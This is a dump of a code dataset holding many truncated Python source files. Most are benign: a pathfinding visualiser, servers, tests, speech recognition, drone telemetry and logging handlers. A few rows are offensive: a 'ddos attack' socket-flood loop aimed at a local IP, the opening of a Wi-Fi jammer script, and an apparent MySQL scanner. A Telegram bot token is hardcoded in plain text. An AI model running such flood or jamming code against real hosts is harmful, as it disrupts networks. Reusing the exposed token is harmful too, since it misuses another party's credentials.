source
stringlengths
3
86
python
stringlengths
75
1.04M
main.py
import sys import pygame import time import config import queue import threading from tkinter import * from tkinter import ttk from pygame.locals import * # Local defined modules from grid import Grid from search import Search from window import * gridQ = queue.Queue() config.init() # Start an instance of tkinter w...
server_gist.py
import socketserver, threading, time class ThreadedUDPRequestHandler(socketserver.BaseRequestHandler): def handle(self): data = self.request[0].strip() socket = self.request[1] current_thread = threading.current_thread() print("{}: client: {}, wrote: {}".format(current_thread.name,...
task.py
from stopwatch import StopWatch from base import * import traceback class Task(Graph, Worker): def __init__(self, name, graph=None, debug=True, verbose=False): Worker.__init__(self, name, graph=graph, debug=verbose) Graph.__init__(self, name, debug=verbose) # overrides Worker.__enter__() and Work...
HostIP.py
# a very simple (and silly) mechanism for getting the host_ip import socket from BTL.platform import bttime from BTL.obsoletepythonsupport import set from BTL.reactor_magic import reactor from BTL import defer import BTL.stackthreading as threading from twisted.internet.protocol import ClientFactory, Protocol from twi...
testing_enron_transe.py
from __future__ import absolute_import from __future__ import division from __future__ import print_function import sys if '../src' not in sys.path: sys.path.append('../src') import os import numpy as np from numpy import linalg as LA import tensorflow as tf import time if '../../utils' not in sys.path: sys...
test_venv.py
# Copyright 2020 Pants project contributors (see CONTRIBUTORS.md). # Licensed under the Apache License, Version 2.0 (see LICENSE). from __future__ import absolute_import import errno import multiprocessing import os import shutil import subprocess import sys import tempfile from subprocess import CalledProcessError f...
copier.py
#!/usr/bin/env python3 #Written by kelseykm import sys import readline import glob import os import threading import queue import re version = "0.2.9" normal = "\033[0;39m" red = "\033[1;31m" green = "\033[1;32m" orange = "\033[1;33m" blue = "\033[1;34m" stop_progress = False class Reader: def __init__(self, i...
test_plc_route.py
import unittest import threading import socket import struct from contextlib import closing from pyads import add_route_to_plc from pyads.utils import platform_is_linux class PLCRouteTestCase(unittest.TestCase): SENDER_AMS = '1.2.3.4.1.1' PLC_IP = '127.0.0.1' USERNAME = 'user' PASSWORD = 'password' ...
syslog_monitor.py
# lines 7 - 20, 28 - 48 marcelom, (2012) PySyslog.py Available from gist.github.com/marcelom/421801 # Note there are some personal modifications, specifically the threading. import syslog_parser import re import logging import SocketServer from threading import Thread LOG_FILE = 'logfile.log' HOST, PORT = "172.17.5...
test_py_reader_using_executor.py
# Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by appli...
test.py
import json import os.path as p import random import socket import subprocess import threading import time import io import string import avro.schema import avro.io import avro.datafile from confluent_kafka.avro.cached_schema_registry_client import CachedSchemaRegistryClient from confluent_kafka.avro.serializer.messag...
DeepSpeech.py
#!/usr/bin/env python # -*- coding: utf-8 -*- from __future__ import absolute_import, division, print_function import os import sys log_level_index = sys.argv.index('--log_level') + 1 if '--log_level' in sys.argv else 0 os.environ['TF_CPP_MIN_LOG_LEVEL'] = sys.argv[log_level_index] if log_level_index > 0 and log_leve...
decorator.py
# Copyright (c) 2016 PaddlePaddle Authors. All Rights Reserved # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applic...
mavlink.py
from __future__ import print_function import time import socket import errno import sys import os import platform import copy from dronekit import APIException from dronekit.util import errprinter from pymavlink import mavutil from queue import Queue, Empty from threading import Thread if platform.system() == 'Windows...
googlenet_tinyyolov3.py
#!/usr/bin/env python # Copyright 2019 Xilinx Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ...
dir.py
import urllib import re import urllib2 import sys import base64 # !/usr/bin/python # coding=utf-8 import urllib2 import urllib import time import cookielib, sys import os,sys import threading import Queue import random q=Queue.Queue() #data = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>wp.getUsers...
run_cluster.py
#!ve/bin/python import os import uuid import subprocess from multiprocessing import Process NUM_NODES=10 def f(s): p = subprocess.Popen("./reticulum -config=test/config%d.json" % (s), shell=True) sts = os.waitpid(p.pid, 0)[1] for n in range(NUM_NODES): p = Process(target=f, args=(n,)).start()
Demo.py
import os from seasight_forecasting import global_vars from seasight_forecasting.utils import * from time import sleep, time def sendKmlToLGDemo(main, slave): command = "sshpass -p " + global_vars.lg_pass + " scp $HOME/" + global_vars.project_location \ + "Seasight-Forecasting/django/" + main + "SST_regio...
hyperdeck.py
from telnetlib import Telnet from threading import Thread class Hyperdeck: def __init__(self, ip_address, id) -> None: self.deck = Telnet(ip_address, 9993) self.id = id self.thread = Thread(target=self.listener) self.thread.start() def listener(self): while True: ...
EasyNMT.py
import os import torch from .util import http_get, import_from_string import json from . import __DOWNLOAD_SERVER__ from typing import List, Union, Dict, FrozenSet, Set, Iterable import numpy as np import tqdm import nltk import torch.multiprocessing as mp import queue import math import re import logging ...
executor.py
#!/usr/bin/env python3 # coding: utf-8 import os import time import docker from queue import Queue from threading import Event, Thread RUN_ARGS = dict(command='/bin/sh', detach=True, stdin_open=True) def _f(commands, containers, image): client = docker.from_env(version='auto') while True: container ...
test_gfe_unittest.py
#!/usr/bin/env python3 import unittest import argparse import gfetester import gfeparameters import os import time import struct import glob import sys import subprocess import socket import re import select from multiprocessing import Process from http.server import HTTPServer, SimpleHTTPRequestHandler import functoo...
pd_altitude_controller.py
#!/usr/bin/python3 import threading import rospy as rp import numpy as np from quat_lib import eul2rotm, quat2eul, quat2rotm from mavros_msgs.srv import SetMode, CommandBool from std_srvs.srv import Trigger, SetBool from sensor_msgs.msg import Joy from mavros_msgs.msg import PositionTarget, State from geometry_msgs....
popup.py
import curses import textwrap from threading import Thread import os import npyscreen import npyscreen.fmPopup import npyscreen.wgmultiline import pyperclip from npyscreen import * import requests import main import mainForm SUBNETID = None ROUTE = None class ConfirmCancelPopup(npyscreen.fmPopup.ActionPopup): ...
main.py
import threading from configHandler import loadConfigData from clientClass import Client def main(): mainConfig = loadConfigData("../config.json") PORT = mainConfig["PORT"] SERVER_IP = mainConfig["SERVER_IP"] DISCONNECT_MESSAGE = mainConfig["DISCONNECT_MESSAGE"] SERVER_ADDRESS = (SERVER_IP, PORT) ...
Ez_Timers.py
from time import time as Time from time import sleep as Sleep from threading import Thread class Repeated_Timer(): ''' Helper object, that assists in executing task repeatedly at specific intervals. * Manages Task drifting, and error handling. Parameters: Interval : The amo...
AVR_Miner.py
#!/usr/bin/env python3 ########################################## # Duino-Coin Python AVR Miner (v2.49) # https://github.com/revoxhere/duino-coin # Distributed under MIT license # © Duino-Coin Community 2019-2021 ########################################## # Import libraries import sys from configparser import ConfigPar...
test_wsgiext.py
import errno import functools import http.client import socket import socketserver import threading from unittest import mock from urllib import error, request from wsgiref import simple_server import pytest from temper_exporter import wsgiext def app(status, environ, start_response): start_response(status, [('c...
start.py
#!/usr/bin/env python3 from concurrent.futures import ThreadPoolExecutor, as_completed from contextlib import suppress from itertools import cycle from json import load from logging import basicConfig, getLogger, shutdown from math import log2, trunc from multiprocessing import RawValue from os import urandom as randb...
shim.py
#!/usr/bin/env python # kodos, Oct 2016 # AFL docker management # --------------------- # Assumptions: # - target binary in /cbs/ # - initial inputs for the cb are in /input # - outputs are in /output # # --------------------- #import logging import os import argparse import subprocess import multiprocessing ...
Tarea1.py
import threading #Se le solicita al usuario la cantidad de gatos gatoInput = int(input("¿Cuántos gatos hay?: ")) #Se le solicita al usuario la cantidad de ratones ratonInput = int(input("¿Cuántos ratones hay?: ")) #Se le solicita al usuario la cantidad de platos platosInput = int(input("¿Cuántos platos hay?: ")) plat...
task_handler.py
import json import os import subprocess from django.conf import settings from django.db.transaction import atomic from audit import models #Bestseller618 class Task(object): ''' ''' def __init__(self, request): self.request = request self.errors = [] self.task_data = None def ...
kivy_app.py
import random import threading from kivy import garden from kivy.app import App from kivy.uix.boxlayout import BoxLayout from kivy.uix.button import Button from kivy.uix.floatlayout import FloatLayout from kivy.uix.widget import Widget from kivy.properties import ObjectProperty, NumericProperty, Clock from math import...
main.py
import json, os import os.path as osp import numpy as np from reinforcement_learning.gym import spaces from config import * from time import sleep, time from common.odl import Odl from collections import deque from common.ids import restart_ids from common.utils import ip_proto from threading import Thread from iterto...
pyzac_base.py
import zmq from multiprocessing import Process import functools import inspect import sys started_processes = list() debuglist = list() assertlist = list() cstatekey = "pyzac_state" lrsocket = {} c_def_argvalue = 1 c_def_blank = "" def excepthook(*args): assertlist.append(args) sys.excepthook = excepthook...
main.py
""" test script ddos attack """ import threading import socket target = '192.168.15.1' port = 80 ip = 'www.google.com.br' already_att = 0 def attack(): while True: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) s.sendto(("GET /" + target + " HTTP/1.1\r\n"...
wifijammer-ng.py
#!/usr/bin/env python2 # -*- coding: UTF-8 -*- # Originally developed by Dan McInerney: # -> Improved on by MisterBianco # 417 -> import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) from scapy.all import * import os import sys import time import argparse import pyric.pyw as pyw from t...
webcam_demo.py
#!/usr/bin/env python3 import numpy as np import cv2 from torch.multiprocessing import Process, Queue, Lock import sys import time import subprocess import argparse import torch import matplotlib matplotlib.use('Agg') import matplotlib.pyplot as plt from torchvision import transforms from torchvision.transforms impo...
managers.py
# # Module providing the `SyncManager` class for dealing # with shared objects # # multiprocessing/managers.py # # Copyright (c) 2006-2008, R Oudkerk # Licensed to PSF under a Contributor Agreement. # __all__ = [ 'BaseManager', 'SyncManager', 'BaseProxy', 'Token' ] # # Imports # import sys import threading import ar...
kubeless.py
#!/usr/bin/env python import importlib import io import os import queue import sys import bottle import prometheus_client as prom # The reason this file has an underscore prefix in its name is to avoid a # name collision with the user-defined module. current_mod = os.path.basename(__file__).split('.')[0] if os.gete...
tester.py
#!/usr/bin/python # # tester.py # # This source file is part of the FoundationDB open source project # # Copyright 2013-2018 Apple Inc. and the FoundationDB project authors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may ob...
handlers.py
# Copyright 2001-2016 by Vinay Sajip. All Rights Reserved. # # Permission to use, copy, modify, and distribute this software and its # documentation for any purpose and without fee is hereby granted, # provided that the above copyright notice appear in all copies and that # both that copyright notice and this permissio...
logger.py
import collections, threading, traceback import paho.mqtt.client as mqtt try: # Transitional fix for breaking change in LTR559 from ltr559 import LTR559 ltr559 = LTR559() except ImportError: import ltr559 from bme280 import BME280 # from pms5003 import PMS5003 # from enviroplus import gas class Env...
__main__.py
#!/usr/bin/env/ python # -*- coding: utf-8 -*- """Greyd main entry point. Incoming Greyd request controller. """ import socket import threading import json import logging.config from greyd import config from greyd.greyd_crypt import crypt from greyd.active_user import ActiveUser from greyd.lobby_transaction import L...
RetrievalManager.py
import logging import os import threading from math import ceil import mongoops import tempfile class RetrievalManager(): def __init__(self, db, client, vault_name): self.client = client self.db = db self.logger = logging.getLogger("cupobackup{0}.RetrievalManager".format(os.getpid())) ...
spoon_to_brainfuck.py
import re import threading from tkinter import filedialog from tkinter import * import sys import io # Brainfuck Interpreter # Copyright 2011 Sebastian Kaspari # # Usage: ./bf.py [FILE] import sys class _Getch: """Gets a single character from standard input. Does not echo to the screen.""" def __init__(self):...
camera.py
from threading import Thread, Lock import dlib from imutils import face_utils import numpy as np import cv2 def face_landmark_find(img, face_detector, face_predictor): # 顔検出 img_gry = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) faces = face_detector(img_gry, 1) # 検出した全顔に対して処理 landmarks = [] for face...
person_detector.py
from __future__ import print_function from imutils.video.webcamvideostream import WebcamVideoStream #from imutils.video.pivideostream import PiVideoStream from imutils.object_detection import non_max_suppression import imutils import numpy as np import cv2 import os, time, datetime, json, copy, decimal, threading impo...
opentherm.py
import re from threading import Thread from time import sleep import logging import collections import copy, json log = logging.getLogger(__name__) # Default namespace for the topics. Will be overwritten with the value in # config pub_topic_namespace="otgw/value" sub_topic_namespace="otgw/set" ha_publish...
job_service.py
import logging import os import signal import threading import time import traceback from concurrent.futures import ThreadPoolExecutor from typing import Dict, List, Tuple, cast import grpc from google.protobuf.timestamp_pb2 import Timestamp import feast from feast.constants import ConfigOptions as opt from feast.cor...
RunManager.py
import runStatus import logSetup import logging import gc import time import os import multiprocessing import signal import logging import logSetup import cProfile import traceback import threading import sys import queue # from pympler.tracker import SummaryTracker, summary, muppy # import tracemalloc import sqlal...
test_arpack.py
__usage__ = """ To run tests locally: python tests/test_arpack.py [-l<int>] [-v<int>] """ import threading import itertools import numpy as np from numpy.testing import assert_allclose, assert_equal, suppress_warnings from pytest import raises as assert_raises import pytest from numpy import dot, conj, random fr...
test_decimal.py
# Copyright (c) 2004 Python Software Foundation. # All rights reserved. # Written by Eric Price <eprice at tjhsst.edu> # and Facundo Batista <facundo at taniquetil.com.ar> # and Raymond Hettinger <python at rcn.com> # and Aahz (aahz at pobox.com) # and Tim Peters """ These are the test cases for...
klass.py
""" Set of classes for particle classification # Author: Antonio Martinez-Sanchez (Max Planck Institute for Biochemistry) # Date: 1.03.17 """ __author__ = 'Antonio Martinez-Sanchez' # import cv2 import gc import os import sys import pyto import copy import itertools as it from pyseg.globals import * from pyseg imp...
train_ac_exploration_f18.py
""" Original code from John Schulman for CS294 Deep Reinforcement Learning Spring 2017 Adapted for CS294-112 Fall 2017 by Abhishek Gupta and Joshua Achiam Adapted for CS294-112 Fall 2018 by Soroush Nasiriany, Sid Reddy, and Greg Kahn Adapted for CS294-112 Fall 2018 with <3 by Michael Chang, some experiments by Greg Kah...
ch.py
################################################################ # File: ch.py # Title: Chatango Library # Original Author: Lumirayz/Lumz <lumirayz@gmail.com> # Current Maintainers and Contributors: # Nullspeaker <import codecs;codecs.encode('aunzzbaq129@tznvy.pbz','rot_13')> # asl97 <asl97@outlook.com> # pystub # ...
csv_to_mr.py
# Copyright 2020 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
test_basic.py
# -*- coding: utf-8 -*- #----------------------------------------------------------------------------- # Copyright (c) 2005-2020, PyInstaller Development Team. # # Distributed under the terms of the GNU General Public License (version 2 # or later) with exception for distributing the bootloader. # # The full license is...
session_test.py
# Copyright 2015 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or a...
ImageRunSockets_v3_A.py
import argparse import logging import csv from tf_pose import common import cv2 import numpy as np from tf_pose.estimator import TfPoseEstimator from tf_pose.networks import get_graph_path, model_wh import os import threading import subprocess import face_recognition from PIL import Image from struct import unpack imp...
webextension.py
import asyncio import functools import io import os import threading from collections import namedtuple import gbulb import logbook from gi.repository import WebKit2WebExtension from roland.utils import init_logging, runtime_path, RolandConfigBase log = logbook.Logger(__name__) Request = namedtuple('Request', 'id ...
app.py
#!/usr/bin/env python # # Copyright 2018 IBM Corp. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required...
flask_server.py
from __future__ import print_function, unicode_literals, division import argparse from contextlib import contextmanager import copy import datetime from functools import partial import json import os import uuid import threading from threading import Thread, Event, Lock import time from flask import Flask, request, ma...
imgaug.py
from __future__ import print_function, division, absolute_import from abc import ABCMeta, abstractmethod import random import numpy as np import copy import numbers import cv2 import math from scipy import misc, ndimage import multiprocessing import threading import sys import six import six.moves as sm import os from ...
udpptps.py
import socket from threading import Thread, Lock import sys def receiver(sock): global flag while flag: data = sock.recv(size) '''Receive data from client''' if data == 'quit': sys.exit(0) print "\t\t"+data flag = True print "Thread Exiting" host = '192.168.122.1' port = 50020 backlog = 5 size =...
test_waitable.py
# Copyright 2018 Open Source Robotics Foundation, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law...
common_cache_test.py
# Copyright 2018-2021 Streamlit Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in wr...
executor.py
""" This module is used by agent to execute spider task. """ # pylint: disable=missing-module-docstring # pylint: disable=missing-class-docstring # pylint: disable=missing-function-docstring import asyncio import os import logging import tempfile import shutil from urllib.parse import urlparse from configpa...
runCtaTrading2.py
# encoding: UTF-8 import sys reload(sys) sys.setdefaultencoding('utf8') import multiprocessing from time import sleep from datetime import datetime, time from vnpy.event import EventEngine2 from vnpy.trader.vtEvent import EVENT_LOG, EVENT_ERROR from vnpy.trader.vtEngine import MainEngine, LogEngine from vnpy.trader....
BITSListener.py
# Based on a simple BITS server by Dor Azouri <dor.azouri@safebreach.com> import logging import os import sys import threading import SocketServer import BaseHTTPServer import ssl import socket import posixpath import time import urllib from BaseHTTPServer import HTTPServer from SimpleHTTPS...
iot-hub-client-message.py
import json import random import re import sys import threading import time from azure.iot.device import IoTHubDeviceClient, Message AUX_CONNECTION_STRING = sys.argv[1] AUX_BASE_HEART_RATE = 65 AUX_BASE_BODY_TEMPERATURE = 37.0 AUX_MAXIMUM_BODY_TEMPERATURE = 40.0 #SENSOR DATA WILL HOST SENSOR METRICS ...
runtests.py
import os import sys import getopt import common.config as config import common.test_setup as setup from locust.main import main from multiprocessing import Process ''' Runs a specified test via the input args. ''' def run_with_params(argv): testFile = '' ## container to hold config data class configData...
main.py
from spotify import Song import telepot import spotify import requests import threading token = '2068084647:AAEfeEbhgdcvwEjKNA3SV9fcJXb52rVDGVQ' bot = telepot.Bot(2068084647:AAEfeEbhgdcvwEjKNA3SV9fcJXb52rVDGVQ) sort = {} def txtfinder(txt): a = txt.find("https://open.spotify.com") txt = txt[a:] return t...
mysql.py
import pymysql import socket import datetime import sys import ipaddress import threading import os BLUE, RED, WHITE, YELLOW, MAGENTA, GREEN, END = '\33[1;94m', '\033[1;91m', '\33[1;97m', '\33[1;93m', '\033[1;35m', '\033[1;32m', '\033[0m' class ThreadManager(object): i = 0 def __init__(self, ipList): ...
varmat_compatibility.py
#!/usr/bin/python import itertools import json from argparse import ArgumentDefaultsHelpFormatter, ArgumentParser import os import queue as Queue import subprocess import re import sys import tempfile import threading from sig_utils import make, handle_function_list, get_signatures from signature_parser import Signat...
wsdump.py
#!/Users/yatlongchan/Documents/watson-streaming-stt/.venv/bin/python3 """ websocket - WebSocket client library for Python Copyright (C) 2010 Hiroki Ohtani(liris) This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published b...
test_token.py
"""Test the TcEx Batch Module.""" # standard library import threading import time class TestToken: """Test the TcEx Batch Module.""" def setup_class(self): """Configure setup before all tests.""" @property def thread_name(self): """Return the current thread name.""" return th...
multiprocessing_get_logger.py
#!/usr/bin/env python3 # encoding: utf-8 # # Copyright (c) 2009 Doug Hellmann All rights reserved. # """ """ #end_pymotw_header import multiprocessing import logging import sys def worker(): print('Doing some work') sys.stdout.flush() if __name__ == '__main__': multiprocessing.log_to_stderr() logge...
h2o.py
import time, os, stat, json, signal, tempfile, shutil, datetime, inspect, threading, getpass import requests, psutil, argparse, sys, unittest, glob import h2o_browse as h2b, h2o_perf, h2o_util, h2o_cmd, h2o_os_util import h2o_sandbox, h2o_print as h2p import re, random # used in shutil.rmtree permission hack for window...
app.py
import opcua import socket import threading import sqlite3 import csv import time import datetime from threading import Timer,Thread from sqlite3 import Error from flask import Flask, request from flask_restful import Resource, Api from sqlalchemy import create_engine from opcua import ua, uamethod, Server, Client # c...
test_base.py
#!/usr/bin/env python # Copyright (c) 2014-present, Facebook, Inc. # All rights reserved. # # This source code is licensed under the BSD-style license found in the # LICENSE file in the root directory of this source tree. An additional grant # of patent rights can be found in the PATENTS file in the same director...
test_concurrent_futures.py
import test.support # Skip tests if _multiprocessing wasn't built. test.support.import_module('_multiprocessing') # Skip tests if sem_open implementation is broken. test.support.import_module('multiprocessing.synchronize') from test.support.script_helper import assert_python_ok import contextlib import itertools imp...
test_runner.py
# Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"). # You may not use this file except in compliance with the License. # A copy of the License is located at # # http://aws.amazon.com/apache2.0/ # # or in the "LICENSE.txt" file acc...
memberships.py
#################### # # Copyright (c) 2018 Fox-IT # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge...
parallel.py
import threading class Parallel(object): """ 使用多线程去完成多任务资源的处理 参数: tasks:任务资源 process:处理过程函数 collect:需要收集的数据 workers_num:线程数量 with_thread_lock:是否对线程加锁 返回: 返回results [dict] """ def __init__(self, tasks, process,...
log.py
# Copyright 2016-2017 Capital One Services, LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed ...
test_remotenotificationlog.py
import json import threading from abc import abstractmethod from http.client import HTTPConnection from http.server import BaseHTTPRequestHandler, HTTPServer from threading import Event, Thread from typing import Callable, List from unittest.case import TestCase from uuid import UUID from eventsourcing.interface impor...
keep_alive.py
from flask import Flask, request, redirect from threading import Thread app = Flask('') @app.before_request def before_request(): scheme = request.headers.get('X-Forwarded-Proto') if scheme and scheme == 'http' and request.url.startswith('http://'): url = request.url.replace('http://', 'https://', 1) ...
vnokcoin.py
# encoding: UTF-8 import hashlib import zlib import json from time import sleep from threading import Thread import websocket # OKCOIN网站 OKCOIN_CNY = 'wss://real.okcoin.cn:10440/websocket/okcoinapi' OKCOIN_USD = 'wss://real.okcoin.com:10440/websocket/okcoinapi' # 账户货币代码 CURRENCY_CNY = 'cny' CURRENCY_USD = 'usd...
launch.py
#!/bin/python3 from os import system, getcwd from sys import argv from threading import Thread import createBootStrap def launcher(filePath: str, viewSize: int, nodeID: int): logFileName = "%s/log/%d.log" % (getcwd(), nodeID) cmd = "%s/bin/p2p_test %d %d %s > %s" % (getcwd(), nodeID, viewSize, filePath, logFil...
commands.py
### # Copyright (c) 2002-2005, Jeremiah Fincher # Copyright (c) 2009-2010,2015, James McCoy # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the a...
__main__.py
import threading import sys import os import subprocess import json import time import datetime import click # from pick import pick from howmanypeoplearearound.oui import * def which(program): """Determines whether program exists """ def is_exe(fpath): return os.path.isfile(fpath) and os.access...
OraBench.py
import configparser import csv import datetime import locale import logging import os import platform import sys import threading from pathlib import Path import cx_Oracle # ------------------------------------------------------------------------------ # Definition of the global variables. # -------------------------...
cli.py
# -*- coding: utf-8 -*- """ flask.cli ~~~~~~~~~ A simple command line application to run flask apps. :copyright: (c) 2015 by Armin Ronacher. :license: BSD, see LICENSE for more details. """ import os import sys from threading import Lock, Thread from functools import update_wrapper import click ...
main.py
#! /usr/bin/env python import os import random import time import RPi.GPIO as GPIO import alsaaudio import wave import random import requests import json import re import vlc import threading import cgi import email import pyaudio class bcolors: HEADER = '\033[95m' OKBLUE = '\033[94m' OKGREEN = '\033[92m' WARNI...
zerodeploy.py
""" .. versionadded:: 3.3 Requires [plumbum](http://plumbum.readthedocs.org/) """ from __future__ import with_statement import sys import rpyc import socket from rpyc.lib.compat import BYTES_LITERAL from rpyc.core.service import VoidService from rpyc.core.stream import SocketStream try: from plumbum import local, ...
__main__.py
import curses import sys import threading import castero from castero import helpers from castero.config import Config from castero.display import Display from castero.feeds import Feeds from castero.player import Player def main(): # instantiate DataFile-based objects feeds = Feeds() # update fields in...
main_window.py
#!/usr/bin/env python # # Electrum - lightweight Bitcoin client # Copyright (C) 2012 thomasv@gitorious # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, # including witho...
learn_plan_policy.py
""" Symbolic goal generation policy """ import numpy as np from torch import nn import torch.multiprocessing as mp import torch import json from forks.baselines.baselines.common.vec_env.vec_env import clear_mpi_env_vars import forks.rlkit.rlkit.torch.pytorch_util as ptu from forks.rlkit.rlkit.policies.base import Po...
file_task_handler.py
import os, threading, time from kubernetes import config, client from airflow.utils.log.file_task_handler import FileTaskHandler from airflow.utils.log.logging_mixin import LoggingMixin log = LoggingMixin().log lock = threading.Lock() # Lock on the known_hosts dict class FileTaskHandler(FileTaskHandler): """ ...